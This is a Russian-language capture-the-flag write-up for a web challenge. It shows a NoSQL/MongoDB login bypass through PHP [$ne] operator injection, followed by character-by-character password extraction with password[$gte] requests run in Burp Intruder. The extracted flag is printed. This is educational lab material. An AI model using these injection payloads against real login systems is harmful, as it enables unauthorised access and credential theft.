Get the admin password! Writeup
Райтап от тиммейта 0ntgO.
В задании «Get the admin password!» нам дали url (http://gap.chal.ctf.westerns.tokyo/) и одну пару работающего логина и пароля (You can use test:test)
После ввода существующего логина и пароля (для учетки test) нас максимум поприветствовало в системе «You are test». Никакой лишней информации в пакетах и в html не было, пак и дирбустер тоже не дал результатов ☹. Была попытка брутфорса пароля для админа(легко отслеживалось ответами от сервера коды 302 и 200) по полному словарю rockyou, но тоже каких-либо результатов добиться не удалось.
Следующим шагом была проверка на sqli, но стандартные пейлоады и вектора (sql injection bypass) тоже потерпели неудачу и каждый раз получали уже ненавистную Wrong user name or password
Но в памяти всплыли замечательные sql injection для обхода аутентификации в NoSQLи MongoDB. Что дало первые результаты.
Как правило, в атаках, связанных с манипуляцией входными данными, основная цель – «перехитрить» логику работы бэкэнда. В нашем случае логика проста – необходимо, чтобы было возвращено значение true.
Значение true возвращается, когда: (username = X) and (password = Y).
Кроме того, следующее выражение также истинно: (username = X) and (password != Y).
Чтобы обойти механизм аутентификации, мы будем использовать отрицательный аргумент как от имени анонимного, так и от имени конкретного пользователя.
Обход авторизации от имени анонимного (любого) пользователя
В PHP можно передавать отрицательные параметры через оператор [$ne], что поможет нам обойти механизм аутентификации при помощи следующего URL’а:
Результат атаки успешный (мы вошли в систему под пользователем admin), но флагом является пароль администратора и нам его еще предстоит вычислить. Для этого используется оператор сравнения $gte, для посимвольного взлома пароля. Мы знаем что флаг имеет вид TWCTF{*****}
user=admin&password[$gte]= A=> false case
….
user=admin&password[$gte]=T => true case
user=admin&password[$gte]=TA=> false case
user=admin&password[$gte]=TW => true case
Для полного перебора флага я использовал intruder в burpsuite.
T
TW
TWC
TWCT
TWCTF
TWCTF{
TWCTF{w
TWCTF{wa
TWCTF{was
TWCTF{wass
TWCTF{wassh
TWCTF{wassho
TWCTF{wasshoi
TWCTF{wasshoi!
TWCTF{wasshoi!s
TWCTF{wasshoi!su
TWCTF{wasshoi!sum
TWCTF{wasshoi!summ
TWCTF{wasshoi!summe
TWCTF{wasshoi!summer
TWCTF{wasshoi!summer_
TWCTF{wasshoi!summer_f
TWCTF{wasshoi!summer_fe
TWCTF{wasshoi!summer_fes
TWCTF{wasshoi!summer_fest
TWCTF{wasshoi!summer_festi
TWCTF{wasshoi!summer_festiv
TWCTF{wasshoi!summer_festiva
TWCTF{wasshoi!summer_festival
TWCTF{wasshoi!summer_festival!
TWCTF{wasshoi!summer_festival!}
Пароль администратора он же флаг: TWCTF{wasshoi!summer_festival!}
- Автор: drakylar
- Комментарии: 0
- Просмотры: 4568